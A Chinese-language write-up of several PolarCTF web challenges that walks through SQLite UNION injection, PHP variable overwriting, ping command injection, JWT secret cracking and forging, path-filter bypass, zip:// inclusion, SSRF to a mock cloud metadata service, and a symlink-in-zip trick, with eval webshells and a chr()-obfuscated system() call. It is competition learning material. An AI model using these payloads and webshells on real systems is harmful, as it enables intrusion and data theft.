比赛当天9点开赛,当时还在上程序设计,但是靶机一直没打开,中午试了下还是不行…一觉睡到五点起来才摸了两题,靶机还一直掉(哭,想好好打一把的说
sql_search 之前打的都是MYSQL,SQLite之前没学习过,先来简单学习一下https://xz.aliyun.com/news/8220
注入1没回显,说明库中不存在该内容,同样的1' 1' --也无回显
1 1' or 1=1 --`给予一个恒真条件就能正常回显,确定闭合符号为`'
尝试order by 探测字段数,总是无回显
使用UNION SELECT探测字段,注入1' union select 'A','B','C' --回显结果如下,确定字段数为3,能利用第二第三列回显内容
sql是SQLite内置系统表 sqlite_master的一个字段,它存储了创建该表(或索引、视图等)时所用的完整 CREATE语句
sqlite_master是SQLite 的系统表,记录所有数据库对象
%在SQLite为通配符,%flag%会匹配所用带有flag的字符串
注入以下内容
1 1 ' union select ' A',sql,' C' from sqlite_master where type=' table ' and name like ' % flag% '--
实际上主要实现的是
1 select sql from sqlite_master where type= 'table' and name like '%flag%'
更为稳妥的做法是直接爆表名
1 1 ' union select ' A',sql,' C' from sqlite_master where type=' table ' --
同时我们也看到了字段名为flag,直接进行数据查询
1 1 ' union select ' A',flag,' C' from flaggggggggggg --
The Gift 题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php include 'config.php' ;highlight_file (__FILE__ );error_reporting (0 );class ConfigModel { public $apiKey = '' ; public $isAdmin = false ; public $requestTime = 0 ; public function __construct ( ) { $this ->requestTime = time (); $this ->apiKey = md5 ($_SERVER ['REMOTE_ADDR' ] . rand (1 , 99999 ) . "S4ltY_String" ); } public function validateApiKey ($inputKey ) { if ($inputKey === $this ->apiKey) { $this ->isAdmin = true ; return true ; } return false ; } } $config = new ConfigModel ();$requestData = array_merge ($_GET , $_POST );foreach ($requestData as $key => $value ) { $$key = $value ; } if (isset ($user_api_key )) { $config ->validateApiKey ($user_api_key ); } if (is_array ($config ) && isset ($config ['isAdmin' ]) && $config ['isAdmin' ] === 'true' ) { die ("Success" . $FLAG ); } else { echo "<br>Access Denied." ; } ?>
使用array_merge()合并数组https://www.php.net/manual/zh/function.array-merge.php
要保证$config['isAdmin'] === 'true',GET或POST传递:
实际上执行的代码为:
1 2 3 $config = ['isAdmin' => 'true' ];
$config不再是ConfigModel对象,而是被覆盖为拥有'isAdmin' => 'true'键值对的数组
并发上传 目录扫描 发现/flag.php /upload.php 和 /upload 目录
根据题目推测攻击思路:
并发上传恶意马,通过访问/upload目录下的对应文件读取flag.php的内容
尝试直接读取<?php echo file_get_contents('flag.php')?> 无果
尝试<?php system('env')?>读取到一个fake flag(艹
自己建立后门
1 <?php fwrite (fopen ("shell.php" ,"w" ),'<?php @eval($_POST["cmd"])?>' )?>
注意条件竞争时读取请求的并发数大于写入请求,执行成功蚁剑连/upload/shell.php
杰尼龟系统 执行ping命令127.0.0.1 ;cat /flag.txt,又拿到fake flag
在当前目录下有setup_flag.php文件,127.0.0.1 ; cat setup_flag.php读取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $flag_content = "CTF{JennyGu1_RCE_P1ng_1nj3ct10n_F1@9}" ;$random_dir = bin2hex (random_bytes (8 ));$flag_dir = "./" . $random_dir ;$flag_file = $flag_dir . "/flag_" . bin2hex (random_bytes (4 )) . ".txt" ;if (!is_dir ($flag_dir )) { mkdir ($flag_dir , 0777 , true ); } file_put_contents ($flag_file , $flag_content );for ($i = 0 ; $i < 10 ; $i ++) { $fake_file = $flag_dir . "/fake_" . bin2hex (random_bytes (4 )) . ".txt" ; file_put_contents ($fake_file , "这不是flag,继续寻找吧!" ); } $other_dirs = ['logs' , 'tmp' , 'uploads' , 'backup' ];foreach ($other_dirs as $dir ) { if (!is_dir ($dir )) { mkdir ($dir , 0777 , true ); } for ($j = 0 ; $j < 5 ; $j ++) { $fake_flag = $dir . "/flag_" . bin2hex (random_bytes (3 )) . ".txt" ; file_put_contents ($fake_flag , "假的flag: FLAG{THIS_IS_NOT_THE_REAL_ONE}" ); } } echo "Flag文件已设置!<br>" ;echo "Flag文件路径: " . $flag_file . "<br>" ;echo "Flag内容: " . $flag_content . "<br>" ;echo "请删除此文件以确保安全。" ;?>
flag文件会创建在随机目录,并且会额外创建一些fake flag文件
127.0.0.1 ; find / -name "flag*"使用通配符查找根目录下所有以flag为开头的文件
最终找到了特殊路径/var/tmp临时目录
coke粉丝团 先注册一个用户,拿到Cookie
题目提示”粉丝灯牌一共有600个,每页显示10个,共有60页。其中只有一个10级灯牌藏在某个页面”
好久没写脚本了,比较简单自己动手写一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsurl = 'http://9b143e90-03c9-4d38-ae2f-02fd78a31e34.www.polarctf.com:8090/shop.php?page=' data = '10.png' Cookie = { 'PHPSESSID' :'u1fmq2u2ca0oef6qotqdljc30q' , 'jwt_token' :'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImNibiJ9.C6tQBldvuIUDA2qNhCMwNUomUFV8pvObDKTF4oi3erA' } def find (): for i in range (1 ,61 ): text = requests.get(url + str (i),cookies=Cookie).text if data in text: print (f"灯牌在第{i} 页" ) exit() else :print (f"灯牌不在第{i} 页" ) if __name__ == '__main__' : find()
访问第52页
但是钻石不够先买其他灯牌然后抓包修改
购买后访问/coke.php,题目提示只有admin才能查看此页面!
刚才在注册时注意到我们无法创建admin账户,同时Cookie中带有jwt,意图爆破jwt密钥
1 hashcat -a 0 -m 16500 /tmp/jwt.txt /usr/share/wordlists/rockyou.txt
hashcat一把嗦,爆破结果为coke,然后伪造admin的cookie
修改jwt后再次访问/coke.php
static 给了源码,分析一波
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <?php highlight_file (__FILE__ ); error_reporting (E_ALL); function hard_filter (&$file ) { $ban_extend = array ("php://" , "zip://" , "data://" , "%2f" , "%00" , "\\" ); foreach ($ban_extend as $ban ) { if (stristr ($file , $ban )) { return false ; } } $ban_keywords = array ("eval" , "system" , "exec" , "passthru" , "shell_exec" , "assert" , "../" ); foreach ($ban_keywords as $keyword ) { if (stristr ($file , $keyword )) { $count = 0 ; $file = str_replace ($keyword , "" , $file , $count ); break ; } } $file = rtrim ($file , '/' ); if (strpos ($file , "static/" ) !== 0 ) { return false ; } return true ; } $file = $_GET ['file' ] ?? '' ; if (!hard_filter ($file )) { die ("Illegal request!" ); } $real_file = $file . ".php" ; $real_path = realpath ($real_file ) ?: $real_file ; echo "<br>=== 调试信息 ===<br>" ; echo "1. 原始输入: " . htmlspecialchars ($_GET ['file' ] ?? '' ) . "<br>" ; echo "2. 过滤后file: " . htmlspecialchars ($file ) . "<br>" ; echo "3. 拼接后的路径: " . htmlspecialchars ($real_file ) . "<br>" ; echo "4. 真实解析路径: " . htmlspecialchars ($real_path ) . "<br>" ; echo "5. 文件是否存在: " . (file_exists ($real_path ) ? "是" : "否" ) . "<br>" ; if (file_exists ($real_path )) { echo "6. 正在包含文件...<br>" ; ob_start (); include ($real_path ); $content = ob_get_clean (); echo "7. 文件内容: " . htmlspecialchars ($content ) . "<br>" ; } else { echo "6. 错误:文件不存在!<br>" ; } ?>
不能用伪协议,且包含文件名只能以static开头,但是
1 2 3 4 5 6 7 8 $ban_keywords = array ("eval" , "system" , "exec" , "passthru" , "shell_exec" , "assert" , "../" );foreach ($ban_keywords as $keyword ) { if (stristr ($file , $keyword )) { $count = 0 ; $file = str_replace ($keyword , "" , $file , $count ); break ; } }
出现敏感字符时并没有返回false,而是进行了空字符的替换,/字符也没ban掉,这也给我们双写绕过的机会
GET传递file=static/....//flag
经过替换和凭借后真实的路径为static/../flag.php
Signed_Too_Weak 默认账号密码登录进去没东西,目录扫描出/templates,告知flag需要管理员权限
发现登陆后的请求携带jwt,尝试爆破密钥为polar,伪造jwt的username字段为admin即可
Pandora Box 文件上传,题目提示**”所有文件最终将被强制视为 PHP脚本”**
我直接把之前构造好的带恶意字节码的图片上传了,访问对应路径,修改后缀但是都没拿到后门
发现原来提供了跳转链接,给出两条报错
1 2 3 4 5 [System Error Log]: Warning: include (upload/d1de80f58fe9d0ad211a82a87f6573be.jpg.php): failed to open stream: No such file or directory in /var /www/html/index.php on line 69 Warning: include (): Failed opening 'upload/d1de80f58fe9d0ad211a82a87f6573be.jpg.php' for inclusion (include_path='.:/usr/share/php7' ) in /var /www/html/index.php on line 69
后端会使用include包含目标文件内容
目标文件名就是我们上传的文件拼接了.php后缀,虽然会把该名称的文件当成php文件执行,但是没能找到对应的文件内容(后端保存的文件仍是jpg
我们先创建一个shell.php,写入一句话木马后压缩为zip,再更改后缀为.jpg绕过后缀名检查
然后利用zip伪协议
1 http://623ef9f5-95c9-4290-b77f-e3ed5f3c33ec.www.polarctf.com:8090/?file=zip://upload/3a461f2f6ea1223ae229c2a69603d99a.jpg%23shell
后端会给我们访问的路径加上.php后缀
所以实际上我们访问的是?file=zip://upload/3a461f2f6ea1223ae229c2a69603d99a.jpg%23shell.php
这样就完成了包含shell.php文件,蚁剑连接
云中来信 题目要求输入目标URL进行代理访问,但是只允许访问http://preview.polar开头的内容
使用@进行绕过打SSRF
输入http://preview.polar``@127.0.0.1返回当前页面的源码
根据题目猜测考察内容可能为云元数据攻击OWASP
https://zhuanlan.zhihu.com/p/677029525
/latest/meta-data 是 云平台(特别是 AWS EC2)实例元数据服务(Instance Metadata Service, IMDS) 的一个标准端点路径,用于从运行中的云服务器内部安全地查询该实例的配置和身份信息
访问http://preview.polar``@127.0.0.1:80/latest/meta-data,在UNICTF CloudDiag中也考察了该路径
回显内容为”需要有效的元数据令牌。请先访问 /latest/api/token 获取token,并在请求头 X-IMDS-Token 中携带”
访问http://preview.polar``@127.0.0.1:80/latest/api/token拿到token,使用高级选项带上请求头 X-IMDS-Token,再次访问http://preview.polar``@127.0.0.1:80/latest/meta-data
又回显了一个路由,对应访问http://preview.polar``@127.0.0.1:80/latest/meta-data/ctf/22b9fdd7fb8b4fc90609即可
新年贺卡 源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 <?php require_once 'config.php' ;require_once 'lib/CardGenerator.php' ;require_once 'lib/TemplateManager.php' ;if (!isset ($_SESSION ['user' ])) { $_SESSION ['user' ] = bin2hex (random_bytes (16 )); } $action = $_GET ['action' ] ?? 'home' ;$generator = new CardGenerator ();try { switch ($action ) { case 'generate' : if ($_SERVER ['REQUEST_METHOD' ] === 'POST' ) { $template = $_POST ['template' ] ?? 'default' ; $message = $_POST ['message' ] ?? '' ; if (!TemplateManager ::isValidTemplate ($template )) { throw new Exception ("无效的模板选择" ); } $cardData = $generator ->generateCard ($template , $message ); $cardPath = $generator ->saveCard ($cardData ); echo "<h1>您的新年贺卡已生成!</h1>" ; echo "<img src='$cardPath ' alt='新年贺卡' style='max-width: 500px;'>" ; echo "<p><a href='?action=download&file=" . basename ($cardPath ) . "'>下载贺卡</a></p>" ; } break ; case 'download' : $file = $_GET ['file' ] ?? '' ; $filePath = UPLOAD_DIR . basename ($file ); if (empty ($file ) || !is_file ($filePath ) || strpos ($file , '../' ) !== false ) { throw new Exception ("无效的文件请求" ); } header ('Content-Type: image/png' ); header ('Content-Disposition: attachment; filename="newyear_card.png"' ); readfile ($filePath ); exit ; case 'admin' : if (isset ($_GET ['debug' ])) { $debug = $_GET ['debug' ]; if ($debug === 'show_templates' ) { echo "<h1>模板列表</h1>" ; $templates = TemplateManager ::getAvailableTemplates (); echo "<pre>" ; print_r ($templates ); echo "</pre>" ; echo "<h2>模板目录文件:</h2>" ; echo "<pre>" ; print_r (scandir (TEMPLATE_DIR)); echo "</pre>" ; } else if ($debug === 'add_template' && $_SERVER ['REQUEST_METHOD' ] === 'POST' ) { $name = $_POST ['template_name' ] ?? '' ; $content = $_POST ['template_content' ] ?? '' ; try { TemplateManager ::addTemplate ($name , $content ); echo "<p style='color: green;'>模板 '$name ' 添加成功!</p>" ; $filePath = TEMPLATE_DIR . $name . '.php' ; if (file_exists ($filePath )) { echo "<p>文件路径: " . $filePath . "</p>" ; echo "<p>文件权限: " . substr (sprintf ('%o' , fileperms ($filePath )), -4 ) . "</p>" ; } } catch (Exception $e ) { echo "<p style='color: red;'>错误: " . $e ->getMessage () . "</p>" ; } } else if ($debug === '/** **/_form' ) { echo "<h1>添加新模板</h1>" ; echo "<form method='post' action='?action=admin&debug=add_template'>" ; echo "<p>模板名: <input type='text' name='template_name' pattern='[a-z0-9_]+' required></p>" ; echo "<p>模板内容:<br><textarea name='template_content' rows='10' cols='50' required></textarea></p>" ; echo "<p><input type='submit' value='添加模板'></p>" ; echo "</form>" ; } else if ($debug === 'view_template' ) { $name = $_GET ['name' ] ?? '' ; $path = TEMPLATE_DIR . $name . '.php' ; if (file_exists ($path )) { echo "<h1>模板内容: $name </h1>" ; echo "<pre>" . htmlspecialchars (file_get_contents ($path )) . "</pre>" ; } else { echo "<p>模板不存在</p>" ; } } } else { echo "<h1>模板管理</h1>" ; echo "<ul>" ; echo "<li><a href='?action=admin&debug=show_templates'>查看模板列表</a></li>" ; echo "<li><a href='?action=admin&debug=/** **/_form'>添加模板</a></li>" ; echo "</ul>" ; } break ; case 'home' : default : $templates = TemplateManager ::getAvailableTemplates (); ?> <!DOCTYPE html> <html> <head> <title>新年贺卡生成器</title> <meta charset="UTF-8" > <style> body { font-family: Arial, sans-serif; max-width: 600 px; margin: 50 px auto; padding: 20 px; background: .container { background: white; padding: 30 px; border-radius: 10 px; box-shadow: 0 2 px 10 px rgba (0 ,0 ,0 ,0.1 ); } h1 { color: textarea { width: 100 %; padding: 10 px; margin: 10 px 0 ; border: 1 px solid select { width: 100 %; padding: 10 px; margin: 10 px 0 ; border: 1 px solid button { width: 100 %; padding: 12 px; background: </style> </head> <body> <div class ="container "> <h1 >🎉 新年贺卡生成器 🎉</h1 > <form action ="?action =generate " method ="post "> <div > <label for ="message ">祝福语:</label ><br > <textarea id ="message " name ="message " rows ="4" required >新年快乐,万事如意!</textarea > </div > <div > <label for ="template ">选择模板:</label ><br > <select id ="template " name ="template " required > <?php foreach ($templates as $tpl ): ?> <option value ="<?php echo $tpl ; ?>"><?php echo ucfirst ($tpl ); ?></option > <?php endforeach ; ?> </select > </div > <button type ="submit ">生成贺卡</button > </form > </div > </body > </html > <?php } } catch (Exception $e ) { die ("<h1>错误</h1><p>" . $e ->getMessage () . "</p>" ); } ?>
有表单提交逻辑,但是debug字段被删了
1 2 3 4 5 6 7 8 else if ($debug === '/** **/_form' ) { echo "<h1>添加新模板</h1>" ; echo "<form method='post' action='?action=admin&debug=add_template'>" ; echo "<p>模板名: <input type='text' name='template_name' pattern='[a-z0-9_]+' required></p>" ; echo "<p>模板内容:<br><textarea name='template_content' rows='10' cols='50' required></textarea></p>" ; echo "<p><input type='submit' value='添加模板'></p>" ; echo "</form>" ; }
fuzz出debug字段为add_form,出现源码中对应表单样式,先随便写一个表单提交
回到home界面,刚才写的表单已经成功提交成为新的模板
对其进行下载,查看下载内容正是表单提交的template_content
dirsearch扫一下发现/templates/目录,推测为保存的文件路径,尝试写马上传
访问成功,注意在/add_form路由下的文件名保存时会自动加上.php后缀
GET 目录扫描发现robot.txt,内容为
If it won’t open, maybe try including each other and see.
如果它打不开,也许试着(让它们)互相包含一下看看
先上传一句话木马,.php后缀名被过滤
能采用双写绕过,但是其对内容也做了限制
利用chr()绕过内容检测,马被成功写入且暴露了路径
1 2 3 4 5 6 7 8 <?php $func =chr (115 ).chr (121 ).chr (115 ).chr (116 ).chr (101 ).chr (109 );$cmd ='' ;$cmd_chars =[108 , 115 , 32 , 47 , 118 , 97 , 114 , 47 , 119 , 119 , 119 , 47 , 104 , 116 , 109 , 108 ];foreach ($cmd_chars as $ascii ){ $cmd .=chr ($ascii ); } @$func ($cmd );
在/var/www/html目录下有两个可疑的php文件,一个访问的时候没有权限,一个空白
想起robot.txt和标题的提示,我们看一下打开空白的php文件的内容
1 2 3 <?php $file = $_GET ['file' ];include $file ;
预期解应该是使用get传递file字段完成对另一个文件的包含
emm……但是我在开发者工具直接抓到了响应内容……
狗黑子最后的起舞 什么东西都没有,目录扫描发现/flag.php /login.php /register.php
/register.php注册账号后登录,发现新的路由/ghzpolar,再次进行目录扫描,发现.git/目录
.git源码泄露,用GitHack拿源码
拿到gouheizi.php文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php if (isset ($_FILES ['file' ])) { $f = $_FILES ['file' ]; if ($f ['error' ] === UPLOAD_ERR_OK) { $dest = '/etc/' . time () . '_' . basename ($f ['name' ]); if (move_uploaded_file ($f ['tmp_name' ], $dest )) { $escapedDest = escapeshellarg ($dest ); exec ("unzip -o $escapedDest -d /etc/ 2>&1" ); if ($code !== 0 ) { exec ("unzip -o $escapedDest -d /etc/ 2>&1" ); } unlink ($dest ); echo "ghz" ; } } }
向该路由上传文件到/etc录后解压并执行,然后删除文件再输出ghz
攻击思路是上传一个指向/var/www/html的软连接压缩包,从而绕过路径限制实现解压路径污染
再把一句话木马放入与压缩包同名的文件夹中,压缩后上传,此时就能把木马文件写入/var/www/html目录下
1 2 3 4 //创建软链接 ln -s /var/www/html link //压缩为1.zip zip -y 1.zip link
注意一句话木马所在的文件夹要与软链接同名,在我的例子中就应该为link文件夹
这样在解压该文件夹的压缩包时就能触发/etc/l ink的软链接实现在/var/www/html写马
蚁剑连接,flag在/flag.txt